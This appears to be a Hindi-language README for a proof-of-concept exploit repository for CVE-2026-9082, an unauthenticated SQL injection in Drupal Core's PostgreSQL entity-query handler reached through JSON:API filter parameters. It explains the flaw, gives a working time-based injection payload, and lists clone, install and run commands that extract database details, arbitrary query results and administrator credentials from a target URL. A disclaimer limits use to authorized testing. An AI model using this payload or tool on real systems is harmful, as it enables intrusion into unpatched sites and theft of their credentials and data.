
Drupal Core PostgreSQL SQL Injection PoC - CVE-2026-9082। PostgreSQL-समर्थित साइटों पर JSON:API मॉड्यूल के माध्यम से अनाम SQL इंजेक्शन की अनुमति देने वाले Drupal भेद्यता के लिए नैतिक PoC।
यह रिपॉजिटरी CVE-2026-9082 के लिए एक नैतिक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) प्रदान करती है, जो Drupal Core में एक अत्यधिक गंभीर SQL इंजेक्शन कमजोरी है, जो Drupal 8.0 से 11.3.9 चलाने वाली सभी PostgreSQL-आधारित साइटों को प्रभावित करती है।
यह दोष PostgreSQL Entity Query कंडीशन हैंडलर में मौजूद है और इसे अनाम (अप्रमाणित) उपयोगकर्ताओं द्वारा JSON:API मॉड्यूल के माध्यम से शोषित किया जा सकता है, जो Drupal 9 के बाद से डिफ़ॉल्ट रूप से सक्षम है।
आधिकारिक सलाहकार: SA-CORE-2026-004
Drupal Core में एक डेटाबेस एब्स्ट्रैक्शन API शामिल है जो क्वेरी को स्वच्छ करने और SQL इंजेक्शन को रोकने के लिए डिज़ाइन किया गया है। PostgreSQL-विशिष्ट Entity Query कंडीशन क्लास (core/modules/pgsql/src/EntityQuery/Condition.php) में एक दोष हमलावर को JSON:API फ़िल्टर पैरामीटर के माध्यम से पारित किए गए उपयोगकर्ता-नियंत्रित ऐरे कुंजियों के माध्यम से मनमाना SQL इंजेक्ट करने की अनुमति देता है।
translateCondition() विधि $condition['value'] पर पुनरावृत्ति करती है और PDO प्लेसहोल्डर नाम बनाने के लिए ऐरे कुंजियों का उपयोग करती है:$where_id = $where_prefix . $key;
filter[x][condition][value][MALICIOUS_KEY]=val
[a-zA-Z0-9_] वर्णों से मिलकर बने होते हैं। जब कुंजी में ) होता है, तो PDO प्लेसहोल्डर नाम को पार्स करना बंद कर देता है — इसके बाद सब कुछ शाब्दिक SQL बन जाता है जो क्वेरी में इंजेक्ट हो जाता है।
1))/**/OR/**/(SELECT pg_sleep(5)) IS NOT NULL)-- भेजकर, हमलावर IN() क्लॉज़ को बंद करता है और मनमाना SQL जोड़ता है, जबकि :prefix_1 के लिए बाइंडिंग उसी अनुरोध में एक वैध कुंजी 1 द्वारा संतुष्ट होती है।
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण, शैक्षिक उद्देश्यों और नैतिक अनुसंधान के लिए है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है।
git clone https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC.git
cd CVE-2026-9082-Drupal-PoC
pip install requests rich# जांचें कि लक्ष्य असुरक्षित है या नहीं
python3 CVE-2026-9082.py -u https://target.com --check
# PostgreSQL संस्करण निकालें
python3 CVE-2026-9082.py -u https://target.com --version
# डेटाबेस जानकारी निकालें (उपयोगकर्ता + DB नाम)
python3 CVE-2026-9082.py -u https://target.com --dbinfo
# Drupal व्यवस्थापक क्रेडेंशियल निकालें (uid=1)
python3 CVE-2026-9082.py -u https://target.com --admin
# डेटाबेस तालिकाएँ सूचीबद्ध करें
python3 CVE-2026-9082.py -u https://target.com --tables
# कस्टम SQL क्वेरी निष्कर्षण
python3 CVE-2026-9082.py -u https://target.com --query "SELECT current_user"
# बूलियन-आधारित निष्कर्षण का उपयोग करें (तेज़ लेकिन कम विश्वसनीय)
python3 CVE-2026-9082.py -u https://target.com --version -m bool
# इंटरएक्टिव मोड (कोई तर्क नहीं)
python3 CVE-2026-9082.py